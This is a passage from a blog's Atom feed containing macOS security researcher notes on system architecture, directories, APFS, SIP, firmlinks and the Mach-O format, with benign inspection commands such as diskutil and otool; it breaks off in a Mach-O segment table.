<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom" ><generator uri="https://jekyllrb.com/" version="3.10.0">Jekyll</generator><link href="https://github.com/feed.xml" rel="self" type="application/atom+xml" /><link href="https://github.com/" rel="alternate" type="text/html" /><updated>2025-12-04T04:29:23+00:00</updated><id>https://github.com/feed.xml</id><title type="html">Zeyad Azima</title><subtitle>Playing Around The Core of the 7 Layers to build the 0day Empire.</subtitle><author><name>Zeyad Azima</name></author><entry><title type="html">Practical macOS Security Researcher Notes and Guide (OSMR)</title><link href="https://github.com/notes/osmrnotes/" rel="alternate" type="text/html" title="Practical macOS Security Researcher Notes and Guide (OSMR)" /><published>2025-12-02T00:00:00+00:00</published><updated>2025-12-02T00:00:00+00:00</updated><id>https://github.com/notes/osmrnotes</id><content type="html" xml:base="https://github.com/notes/osmrnotes/"><![CDATA[<h1 id="macos-architecture">MacOS Architecture</h1>

<h2 id="introduction">Introduction</h2>

<p><img width="1518" height="844" alt="image" src="https://github.com/user-attachments/assets/2b4859ec-bc03-433f-9b89-0f67d3a5e764" /></p>

<h3 id="1-application-layer">1. <strong>Application Layer</strong></h3>
<ul>
  <li><strong>AppKit</strong>: Facilitates the creation of desktop application interfaces, handling events, drawing operations, and user interface elements like buttons and text fields. For example, when you create a new document in TextEdit, AppKit is responsible for displaying the window, text editing area, and menu options.</li>
  <li><strong>Notification Center</strong>: Manages the centralized delivery of notifications to the user. For example, when you receive a new email, Notification Center displays a pop-up message or updates an icon badge.</li>
  <li><strong>Siri</strong>: Allows voice interaction with applications and system functions. For example, you can ask Siri to send a message, set reminders, or launch applications.</li>
  <li><strong>Sharing &amp; Full Screen</strong>: Supports easy content sharing to other applications or services and manages applications in full-screen mode. For example, using the Share button in Safari to post a webpage link to Twitter.</li>
  <li><strong>Auto Layout</strong>: Dynamically calculates the size and position of all the views in your window based on constraints. For example, ensuring a button stays at the bottom right corner of a window, regardless of window size changes.</li>
  <li><strong>Popovers &amp; Configuration</strong>: Handles transient views that appear above other content, and manages application configurations. For example, a settings popover in Mail that allows adjusting mail sorting preferences.</li>
</ul>

<h3 id="2-media-layer">2. <strong>Media Layer</strong></h3>
<ul>
  <li><strong>AV Foundation</strong>: Manages and plays audio-visual media. For example, playing a video file in QuickTime Player.</li>
  <li><strong>Core Animation</strong>: Provides fluid animation for user interface elements. For example, smooth transitions when you minimize a window or open Mission Control.</li>
  <li><strong>Core Audio</strong>: Handles audio operations system-wide. For example, managing audio streams and volume control across all running applications.</li>
  <li><strong>Core Image</strong>: Used for high-performance image processing, which allows quick filtering and effects in applications like Photos.</li>
  <li><strong>Core Text</strong>: Manages text layout and font rendering; crucial for reading and editing text in any app that displays large amounts of text.</li>
  <li><strong>Metal</strong>: Optimizes graphics and compute operations by leveraging the GPU. For example, accelerating graphics rendering in games or graphical applications.</li>
</ul>

<h3 id="3-core-services">3. <strong>Core Services</strong></h3>
<ul>
  <li><strong>Address Book</strong>: Stores and retrieves user contact information. For example, when a user saves a new contact in the Contacts app, it is stored in the Address Book database.</li>
  <li><strong>Core Foundation</strong>: Provides fundamental data types and collections, like strings and arrays, crucial for app development. For example, managing data structures in any app.</li>
  <li><strong>Quick Look</strong>: Allows users to preview documents or images quickly without opening them in a dedicated app, like previewing PDF files in Finder.</li>
  <li><strong>Social</strong>: Provides frameworks to integrate with social media platforms. For example, sharing images directly from Preview to Facebook.</li>
  <li><strong>Webkit</strong>: Powers the Safari browser; handles HTML content rendering and JavaScript execution.</li>
</ul>

<h3 id="4-core-os">4. <strong>Core OS</strong></h3>
<ul>
  <li><strong>Accelerate</strong>: Optimizes large-scale mathematical computations, improving performance in scientific and financial software.</li>
  <li><strong>Directory Services</strong>: Manages user accounts and permissions. For example, when logging in, Directory Services verifies user credentials.</li>
  <li><strong>Disk Arbitration</strong>: Manages access to disk volumes to prevent file system corruption. For example, it ensures that a disk is not ejected while files are being written to it.</li>
</ul>

<h3 id="5-kernel--device-drivers">5. <strong>Kernel &amp; Device Drivers</strong></h3>
<ul>
  <li><strong>BSD</strong>: Provides networking, security, and file system support. For example, BSD sockets are used for network communication in apps like Mail and Safari.</li>
  <li><strong>Mach</strong>: The core around which macOS is built, handling low-level tasks like memory management and process scheduling. For example, Mach allocates memory when you open an app and schedules CPU time for it to run.</li>
  <li><strong>Networking &amp; Security</strong>: Includes components that handle secure network communications and data encryption. For example, establishing encrypted connections over Wi-Fi.</li>
  <li><strong>File System Management</strong>: The file system manages the storage of data in an organized manner so that it can be easily accessed, modified, and managed. It handles operations such as reading, writing, creating, and deleting files and directories.</li>
</ul>

<h2 id="system-directories">System Directories</h2>

<h4 id="posix-directories">POSIX Directories</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/bin, /usr/bin</code></strong>: Contains essential user-executable binaries like shell commands and utilities.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/sbin, /usr/sbin</code></strong>: Holds system administration binaries essential for system maintenance and operations.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/usr/lib</code></strong>: Stores dynamic libraries (.dylibs) that provide functionality for multiple applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/tmp</code></strong>: A temporary directory, cleared at reboot, with a sticky bit set to prevent deletion of files by non-owners.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/var</code></strong>: Includes logs, configuration files, and user-specific temporary files. Root’s home directory is <code class="language-plaintext highlighter-rouge">/var/root</code>.</li>
</ul>

<h4 id="macos-directories">macOS Directories</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Applications</code></strong>: Standard location for user-installed applications accessible to all users.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System</code></strong>: Contains macOS’s core components, like system files and libraries, protected by System Integrity Protection (SIP).</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Users</code></strong>: Home directories for all users, with personal files, settings, and documents.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library</code></strong>: Stores system-wide application support files and libraries.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Applications</code> and <code class="language-plaintext highlighter-rouge">/System/Cryptexes/App/System/Applications</code></strong>: Host core system applications, with certain apps in a secure cryptex for added security.</li>
</ul>

<h4 id="launch-agents-and-daemons">Launch Agents and Daemons</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/LaunchDaemons</code>, <code class="language-plaintext highlighter-rouge">/System/Library/LaunchAgents</code></strong>: System-level agents and daemons that execute automatically.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/LaunchDaemons</code>, <code class="language-plaintext highlighter-rouge">/Library/LaunchAgents</code></strong>: For third-party daemons and agents that run at startup or login.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/LaunchAgents</code></strong>: User-specific agents that auto-run at user login.</li>
</ul>

<h4 id="application-data-and-support">Application Data and Support</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/Application Support</code></strong>: Contains application support files and data for applications running as root.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/Application Support</code></strong>: User-specific application support files and data.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">~/Library/Containers</code></strong>: Sandboxed applications are stored here, with strict filesystem access limitations.</li>
</ul>

<h4 id="frameworks-and-extensions">Frameworks and Extensions</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Frameworks</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/Frameworks</code></strong>: Home to system frameworks used by applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/PrivateFrameworks</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/PrivateFrameworks</code></strong>: Contains private frameworks not for public use, restricted from Mac App Store applications.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/Extensions</code>, <code class="language-plaintext highlighter-rouge">/System/Library/Extensions</code></strong>: Locations for kernel extensions (KEXTs), including third-party extensions.</li>
</ul>

<h4 id="special-and-security-directories">Special and Security Directories</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/Library/PrivilegedHelperTools</code></strong>: Where third-party daemons that need root privileges reside.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/usr/bin</code>, <code class="language-plaintext highlighter-rouge">/usr/sbin</code>, <code class="language-plaintext highlighter-rouge">/bin</code>, <code class="language-plaintext highlighter-rouge">/sbin</code></strong>: Core system binaries for both user commands and system administration.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/private</code></strong>: Contains sensitive directories such as <code class="language-plaintext highlighter-rouge">/private/etc</code>, <code class="language-plaintext highlighter-rouge">/private/var</code>, and <code class="language-plaintext highlighter-rouge">/private/tmp</code> that manage configuration, variable data, and temporary files.</li>
</ul>

<h4 id="kernel-and-kernel-extensions">Kernel and Kernel Extensions</h4>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Kernels/kernel</code></strong>: The location of the macOS kernel.</li>
  <li><strong><code class="language-plaintext highlighter-rouge">/System/Library/Extensions</code>, <code class="language-plaintext highlighter-rouge">/System/Cryptexes/OS/System/Library/Extensions</code></strong>: Directories for Apple’s kernel extensions.</li>
</ul>

<h2 id="apple-properity-file-system-apfs">Apple Properity File System (APFS)</h2>
<p>The Apple File System (<code class="language-plaintext highlighter-rouge">APFS</code>) is an advanced file system introduced by Apple with macOS High Sierra in 2017. It was designed to replace the older Hierarchical File System Plus (<code class="language-plaintext highlighter-rouge">HFS+</code>) to better accommodate the modern storage technologies and to enhance performance, reliability, and scalability. <code class="language-plaintext highlighter-rouge">APFS</code> operates on the concept of containers and volumes. A single <code class="language-plaintext highlighter-rouge">APFS</code> container can house multiple volumes that share the container’s free space. Volumes under <code class="language-plaintext highlighter-rouge">APFS</code> are flexible and can grow and shrink dynamically, unlike traditional partitions. This adaptability is crucial for devices with limited storage capacities like mobile devices.</p>

<ul>
  <li><strong>Check disk:</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diskutil list
</code></pre></div></div>

<ul>
  <li><strong>Output:</strong></li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/dev/disk0 (internal, physical):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      GUID_partition_scheme                        *500.3 GB   disk0
   1:                        EFI EFI                     209.7 MB   disk0s1
   2:                 Apple_APFS Container disk1         500.1 GB   disk0s2

/dev/disk1 (synthesized):
   #:                       TYPE NAME                    SIZE       IDENTIFIER
   0:      APFS Container Scheme -                      +500.1 GB   disk1
                                 Physical Store disk0s2
   1:                APFS Volume Macintosh HD            250.4 GB   disk1s1
   2:                APFS Volume Preboot                 20.5 MB    disk1s2
   3:                APFS Volume Recovery                1.0 GB     disk1s3
   4:                APFS Volume VM                      20.5 GB    disk1s4
</code></pre></div></div>
<ul>
  <li><strong><code class="language-plaintext highlighter-rouge">/dev/disk0</code></strong>: This represents the physical disk. <code class="language-plaintext highlighter-rouge">disk0</code> is usually the primary hard drive.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">GUID_partition_scheme</code>: The partition layout used, suitable for both Intel-based and ARM-based Macs.</li>
      <li><code class="language-plaintext highlighter-rouge">EFI</code>: A small partition that contains boot files.</li>
      <li><code class="language-plaintext highlighter-rouge">Apple_APFS Container disk1</code>: An <code class="language-plaintext highlighter-rouge">APFS</code> container that spans nearly the entire disk.</li>
    </ul>
  </li>
  <li><strong><code class="language-plaintext highlighter-rouge">/dev/disk1</code> (synthesized)</strong>: This is the <code class="language-plaintext highlighter-rouge">APFS</code> container synthesized view, showing volumes within the container.
    <ul>
      <li><code class="language-plaintext highlighter-rouge">APFS Container Scheme</code>: Shows that <code class="language-plaintext highlighter-rouge">disk1</code> is an APFS container.</li>
      <li><code class="language-plaintext highlighter-rouge">Physical Store disk0s2</code>: Indicates that this container is located on <code class="language-plaintext highlighter-rouge">disk0s2</code>.</li>
      <li><code class="language-plaintext highlighter-rouge">APFS</code> Volumes (<code class="language-plaintext highlighter-rouge">Macintosh HD</code>, <code class="language-plaintext highlighter-rouge">Preboot</code>, <code class="language-plaintext highlighter-rouge">Recovery</code>, <code class="language-plaintext highlighter-rouge">VM</code>): These are logical volumes within the <code class="language-plaintext highlighter-rouge">APFS</code> container, each serving different purposes like system storage, boot management, system recovery, and virtual memory respectively.</li>
    </ul>
  </li>
</ul>

<h2 id="system-volume-protection">System Volume Protection</h2>
<p><code class="language-plaintext highlighter-rouge">macOS</code> leverages several robust mechanisms to safeguard its core system files, primarily through System Integrity Protection (<code class="language-plaintext highlighter-rouge">SIP</code>), also known as rootless mode. <code class="language-plaintext highlighter-rouge">SIP</code>’s primary function is to prevent modifications to crucial system files and directories, even by the superuser (root).</p>

<h3 id="system-volume-protections-in-macos">System Volume Protections in macOS</h3>

<p>macOS employs robust mechanisms like System Integrity Protection (SIP), also known as rootless mode, to protect its core system files. SIP’s primary role is to prevent unauthorized modifications to critical system files and directories, even by the superuser (root).</p>

<h5 id="using-ls-with-sip-protection-flags">Using <code class="language-plaintext highlighter-rouge">ls</code> with SIP Protection Flags</h5>

<p>Using the <code class="language-plaintext highlighter-rouge">ls -lO</code> command can reveal which directories are protected by SIP:</p>

<ul>
  <li><strong>Check directories are protected by SIP:</strong></li>
  <li>
    <div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % <span class="nb">ls</span> <span class="nt">-lO</span> /
</code></pre></div>    </div>
  </li>
</ul>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>total 0
drwx------  10 root  wheel  restricted,hidden 320 Oct 18 05:36 System
drwxr-xr-x  39 root  wheel  restricted,hidden 1248 Oct 18 05:36 bin
drwxr-xr-x  65 root  wheel  sunlnk            2080 Dec  2 03:26 Library
drwxr-xr-x  14 root  admin  sunlnk             448 Dec  5 08:28 Applications
drwxr-xr-x   5 root  admin  sunlnk             160 Dec  2 02:40 Users
drwxr-xr-x   4 root  wheel  hidden             128 Dec 12 03:34 Volumes
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">restricted</code> flag denotes that the directory is protected under SIP, preventing any modifications. The <code class="language-plaintext highlighter-rouge">sunlnk</code> and <code class="language-plaintext highlighter-rouge">hidden</code> flags indicate directories with special attributes but not necessarily SIP protection.</p>

<h5 id="using-diskutil-to-explore-apfs-configurations">Using <code class="language-plaintext highlighter-rouge">diskutil</code> to Explore APFS Configurations</h5>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>diskutil apfs list
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>APFS Container <span class="o">(</span>1 found<span class="o">)</span>
|
+-- Container disk1
    APFS Container Reference:     disk1
    Size <span class="o">(</span>Capacity Ceiling<span class="o">)</span>:      500 GB
    Capacity In Use By Volumes:   150 GB <span class="o">(</span>30% used<span class="o">)</span>
    Capacity Not Allocated:       350 GB <span class="o">(</span>70% free<span class="o">)</span>
    |
    +-&gt; Volume disk1s1
        Name:                      Macintosh HD - Data
        Role:                      Data
        Mount Point:               /System/Volumes/Data
        Capacity Consumed:         100 GB
        FileVault:                 No
    |
    +-&gt; Volume disk1s2
        Name:                      Preboot
        Role:                      Preboot
        Mount Point:               /System/Volumes/Preboot
        Capacity Consumed:         2 GB
    |
    +-&gt; Volume disk1s4
        Name:                      Macintosh HD
        Role:                      System
        Mount Point:               Not Mounted
        Capacity Consumed:         11 GB
        Sealed:                    Yes
</code></pre></div></div>

<ul>
  <li><strong>Data Volume</strong>: User-accessible files, non-critical system files.</li>
  <li><strong>System Volume</strong>: Core system files, not mounted directly but</li>
</ul>

<h4 id="verifying-system-integrity-and-cryptographic-seals">Verifying System Integrity and Cryptographic Seals</h4>
<p>macOS further secures system integrity through cryptographic seals, which can be checked using <code class="language-plaintext highlighter-rouge">csrutil</code>:</p>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>csrutil authenticated-root status
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Authenticated Root status: enabled
</code></pre></div></div>

<p>This confirms that the system’s root volume is cryptographically authenticated, ensuring that the core system files are untouched and secure from alterations.</p>

<h4 id="mounted-file-system-attributes">Mounted File System Attributes</h4>

<p><strong>Command:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % mount
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/dev/disk1s4s1 on / (apfs, sealed, local, read-only, journaled)
devfs on /dev (devfs, local, nobrowse)
/dev/disk1s2 on /System/Volumes/Preboot (apfs, local, journaled, nobrowse)
/dev/disk1s6 on /System/Volumes/VM (apfs, local, noexec, journaled, noatime, nobrowse)
/dev/disk1s5 on /System/Volumes/Update (apfs, local, journaled, nobrowse)
/dev/disk1s1 on /System/Volumes/Data (apfs, local, journaled, nobrowse)
map auto_home on /System/Volumes/Data/home (autofs, automounted, nobrowse)
.host:/VMware Shared Folders on /Volumes/VMware Shared Folders (vmhgfs)
</code></pre></div></div>

<ul>
  <li><strong>Sealed</strong>: The system volume is cryptographically sealed to prevent tampering.</li>
  <li><strong>Read-only</strong>: The root volume is mounted as read-only to ensure no changes can be made during normal operation, reinforcing its integrity.</li>
  <li><strong>Journaled</strong>: This attribute helps protect the integrity of the file system by keeping a continuous log (journal) that tracks changes to the file system.</li>
</ul>

<h4 id="cryptexes-cryptographically-sealed-extensions">Cryptexes: CRYPTographically-sealed EXtensions</h4>

<p>Introduced in macOS Ventura, <code class="language-plaintext highlighter-rouge">Cryptexes</code> represent a novel approach to handling system updates and security <code class="language-plaintext highlighter-rouge">Cryptexes</code> are signed disk images that contain system files or applications and can be updated independently of the system.</p>

<p><strong>Command Checking Cryptexes:</strong></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>user@mac ~ % <span class="nb">ls</span> <span class="nt">-l</span> /System/Cryptexes
</code></pre></div></div>

<p><strong>Output:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>lrwxr-xr-x  1 root  wheel  42 Oct 18 05:36 App -&gt; ../../System/Volumes/Preboot/Cryptexes/App
lrwxr-xr-x@ 1 root  wheel  41 Oct 18 05:36 OS -&gt; ../../System/Volumes/Preboot/Cryptexes/OS
</code></pre></div></div>

<p>These links show that <code class="language-plaintext highlighter-rouge">Cryptexes</code> are not traditionally mounted within the regular file system structure visible to the user, highlighting their specialized role and enhanced security measures.</p>

<h2 id="firmlinks">Firmlinks</h2>

<p><code class="language-plaintext highlighter-rouge">Firmlinks</code> are a special type of symbolic link used by macOS to seamlessly integrate the read-only system volume with the writable data volume. This allows the operating system to maintain a clear separation between system files (which need to be protected from modifications to ensure system integrity) and user data (which needs to be freely writable by the user).</p>

<ul>
  <li>Check Firmlinks:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /usr/share/firmlinks
</code></pre></div></div>
<ul>
  <li>Output
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/AppleInternal	AppleInternal
/Applications	Applications
/Library	Library
/System/Library/Caches	System/Library/Caches
/System/Library/Assets	System/Library/Assets
/System/Library/PreinstalledAssets	System/Library/PreinstalledAssets
/System/Library/AssetsV2	System/Library/AssetsV2
/System/Library/PreinstalledAssetsV2	System/Library/PreinstalledAssetsV2
/System/Library/CoreServices/CoreTypes.bundle/Contents/Library	System/Library/CoreServices/CoreTypes.bundle/Contents/Library
/System/Library/Speech	System/Library/Speech
/Users	Users
/Volumes	Volumes
/cores	cores
/opt	opt
/private	private
/usr/local	usr/local
/usr/libexec/cups	usr/libexec/cups
/usr/share/snmp	usr/share/snmp
</code></pre></div>    </div>
  </li>
</ul>

<p>On the left is the directory path on the System volume, and on the right, Is the directory path where it maps on the Data volume.</p>

<ul>
  <li>Confirm directory with <code class="language-plaintext highlighter-rouge">inode</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>On System volume
ls -li /System/Volumes/Data/usr/

18524916 drwxr-xr-x  4 root  wheel  128 Feb  5 16:51 local
inode -&gt; 18524916
On the data volume
ls -li /usr

18524916 drwxr-xr-x    4 root  wheel    128 Feb  5 16:51 local
inode -&gt; 18524916
</code></pre></div></div>

<h2 id="plist-files">PLIST Files</h2>

<p>Convert Binary <code class="language-plaintext highlighter-rouge">plist</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Convert to xml
plutil -convert xml1 ~/your_plist_binary -o -

Convert to json
plutil -convert json ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to swift
plutil -convert swift ~/Library/Preferences/com.apple.screensaver.plist -o -

Convert to objective-c
plutil -convert objc ~/Library/Preferences/com.apple.screensaver.plist -o -
</code></pre></div></div>

<h2 id="bundles">Bundles</h2>

<p>Bundles are <code class="language-plaintext highlighter-rouge">.app</code> bundle, but many other executables are also packaged as bundles, such as <code class="language-plaintext highlighter-rouge">.framework</code> and <code class="language-plaintext highlighter-rouge">.systemextension</code>.</p>

<h2 id="dyld">Dyld</h2>

<p>Extract <code class="language-plaintext highlighter-rouge">dyld-cache</code>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dyld-shared-cache-extractor /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_{arch} /tmp/libraries
</code></pre></div></div>

<h1 id="mach-o-file-format">Mach-O File Format</h1>

<p>The main 3 parts of <code class="language-plaintext highlighter-rouge">Mach-o</code> Fiel format:</p>

<p><img width="434" height="384" alt="image" src="https://github.com/user-attachments/assets/424e9014-2df2-4d81-8c32-b46c1bb6c1ed" /></p>

<h2 id="introduction-1">Introduction</h2>

<p>The <code class="language-plaintext highlighter-rouge">Mach-O</code> file format is the native executable format for <code class="language-plaintext highlighter-rouge">macOS</code> and <code class="language-plaintext highlighter-rouge">iOS</code> operating systems. Standing for Mach Object, the <code class="language-plaintext highlighter-rouge">Mach-O</code> format supports executable files, shared libraries, dynamically-loaded libraries, and object code for <code class="language-plaintext highlighter-rouge">macOS</code>. The design of this file format is heavily influenced by its focus on performance and the compatibility with the Mach kernel, which is part of the <code class="language-plaintext highlighter-rouge">XNU</code> kernel that powers Apple’s operating systems.</p>

<ul>
  <li>Check File:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>zeyad@azima% file /bin/pwd
/bin/pwd: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
/bin/pwd (for architecture x86_64):	Mach-O 64-bit executable x86_64
/bin/pwd (for architecture arm64e):	Mach-O 64-bit executable arm64e
</code></pre></div></div>

<h2 id="universal-binaries">Universal Binaries</h2>

<p>Universal binaries, also known as <code class="language-plaintext highlighter-rouge">fat</code> binaries, are unique to the <code class="language-plaintext highlighter-rouge">Mach-O </code>format. These binaries contain code for multiple architectures (like <code class="language-plaintext highlighter-rouge">x86_64</code> and <code class="language-plaintext highlighter-rouge">ARM</code>) in a single file. This capability allows developers to build applications that can run on different types of hardware without the need for separate executables. The structure of a universal binary is essentially a container that includes multiple <code class="language-plaintext highlighter-rouge">Mach-O</code> files, each optimized for a specific processor architecture.</p>

<h2 id="mach-o-header">Mach-O Header</h2>

<p>The Mach-O header is the starting point of any <code class="language-plaintext highlighter-rouge">Mach-O</code> file. It contains essential metadata about the file, such as the type of file (<code class="language-plaintext highlighter-rouge">executable</code>, <code class="language-plaintext highlighter-rouge">object file</code>, <code class="language-plaintext highlighter-rouge">shared library</code>), its architecture (<code class="language-plaintext highlighter-rouge">ARM</code>, <code class="language-plaintext highlighter-rouge">x86_64</code>, etc.), and the number of load commands. The header plays a crucial role in how the operating system processes and handles the <code class="language-plaintext highlighter-rouge">Mach-O</code> file during loading and execution.
Dump the <code class="language-plaintext highlighter-rouge">Mach-O</code> Header information using <code class="language-plaintext highlighter-rouge">otool</code></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -arch {x86_64/arm64e} -hv /path_to_binary
</code></pre></div></div>

<h2 id="mach-o-load-command">Mach-O LOAD Command</h2>

<p>Load commands within a <code class="language-plaintext highlighter-rouge">Mach-O</code> file instruct the loader on how to map the file’s contents into memory. These commands are vital for the dynamic linker to resolve symbols and connect dynamic libraries at runtime. Typical load commands include specifying the entry point of the executable, required dynamic libraries, and segment information such as the location and permissions of different sections of the file, There are around <code class="language-plaintext highlighter-rouge">50</code> type of load commands, But the most common ones:</p>

<ol>
  <li>
    <p><strong>LC_SEGMENT_64</strong>: This command is used to define a segment of memory that includes one or more sections. Each segment can contain executable code, data, or other resources needed by the executable or library. This command is specifically for <code class="language-plaintext highlighter-rouge">64-bit</code> architectures.</p>
  </li>
  <li>
    <p><strong>LC_LOAD_DYLINKER</strong>: This command specifies the dynamic linker (<code class="language-plaintext highlighter-rouge">dyld</code>) that the system uses to load and link the shared libraries required by the executable at runtime. This is essential for resolving the dynamic dependencies of the application.</p>
  </li>
  <li>
    <p><strong>LC_MAIN</strong>: Introduced with the newer <code class="language-plaintext highlighter-rouge">Mach-O</code> file formats, this command points to the entry point of the main function, replacing the older entry point mechanism used in earlier versions. It specifies where the execution of the program begins.</p>
  </li>
  <li>
    <p><strong>LC_LOAD_DYLIB</strong>: This command provides the paths to the dynamic libraries (<code class="language-plaintext highlighter-rouge">dylibs</code>) that the executable depends on. These libraries are loaded by the dynamic linker during the execution of the application.</p>
  </li>
  <li>
    <p><strong>LC_CODE_SIGNATURE</strong>: This command contains the offset and size of the code signature used by the operating system to verify the integrity and origin of the code in the Mach-O file. This is crucial for security purposes, ensuring that the code has not been tampered with.</p>
  </li>
</ol>

<ul>
  <li>Dump load command with <code class="language-plaintext highlighter-rouge">otool</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -lv /path_to_binary
</code></pre></div></div>

<ul>
  <li>Dump libraries in <code class="language-plaintext highlighter-rouge">LC_LOAD_DYLINKER</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -L /path_to_binary
</code></pre></div></div>

<h2 id="mach-o-data">Mach-O Data</h2>

<p>The data in <code class="language-plaintext highlighter-rouge">Mach-O</code> files is organized into segments and sections. Segments are larger chunks of data with specific roles, like containing internal &amp; external functions information, symbol table, executable code or read-only data. Each segment can be further divided into sections that hold smaller, more specific blocks of data. This hierarchical structure allows for efficient data management and access, crucial for performance during execution.</p>

<ul>
  <li>Dump all segments and sections using <code class="language-plaintext highlighter-rouge">otool</code>:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>otool -m /path_to_binary
</code></pre></div></div>

<ul>
  <li>Example:</li>
</ul>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Segment __PAGEZERO: 4294967296 (zero fill) 
Segment __TEXT: 32768
	Section __text: 15384
	Section __auth_stubs: 1344
	Section __const: 212
	Section __cstring: 1268
	Section __unwind_info: 212
	total 18420
Segment __DATA_CONST: 16384
	Section __auth_got: 672
	Section __got: 48
	Section __const: 616
	total 1336
Segment __DATA: 16384
	Section __data: 32
	Section __common: 176 (zerofill)
	Section __bss: 336 (zerofill)
	total 544
Segment __LINKEDIT: 32768
total 4295065600
</code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">__PAGEZERO</code> segment plays a crucial role in security. It sets up a memory area called the zero page at the very start of the address space for each process, but it makes this page completely unusable. The memory protection settings for this page are set to zero, meaning nothing can be read from, written to, or executed on this page. This design helps prevent security flaws, specifically <code class="language-plaintext highlighter-rouge">NULL pointer dereference</code> vulnerabilities, by ensuring that any attempt to access this low memory area will lead to an error, rather than allowing potentially harmful operations.</p>

<h3 id="explaining">Explaining</h3>

<table>
  <thead>
    <tr>
      <th>Segment</th>
      <th>Size (Bytes)</th>
      <th>Description</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>__PAGEZERO</td>
      <td>4294967296</td>
      <td>A zero-fill segment that protects against NULL pointer dereferences.</td>
    </tr>
    <tr>
      <td>__TEXT</td>
      <td>32768</td>
      <td>Contains executable code and read-only data.</td>
    </tr>
    <tr>
      <td>&gt; __text</td>
      <td>15384</td>
      <td>The main body of executable code.</td>
    </tr>
    <tr>
      <td>&gt; __auth_stubs</td>
      <td>1344</td>
      <td>Stubs for authenticated pointers (part of code signing).</td>
    </tr>
    <tr>
      <td>&gt; __const</td>
      <td>212</td>
      <td>Read-only data constants.</td>
    </tr>
    <tr>
      <td>&gt; __cstring</td>
      <td>1268</td>
      <td>String literals, stored in a read-only section.</td>
    </tr>
    <tr>
      <td>&gt; __unwind_info</td>
      <td>212</td>
      <td>Information for stack unwinding during exceptions.</td>
    </tr>
    <tr>
      <td>__DATA_CONST</td>
      <td>16384</td>
      <td>Read-only data that was originally in the __DATA segment.</td>
    </tr>
    <tr>
      <td>&gt; __auth_got</td>
      <td>672</td>
      <td>Authenticated pointers’ global offset table.</td>
    </tr>
    <tr>
      <td>&gt; __got</td>
      <td>48</td>
      <td>Non-authenticated global offset table for dynamic linking.</td>
    </tr>
    <tr>
      <td>&gt; __const</td>
      <td>616</td>
      <td>Constants that are now placed in a read-only section for security.</td>
    </tr>
    <tr>
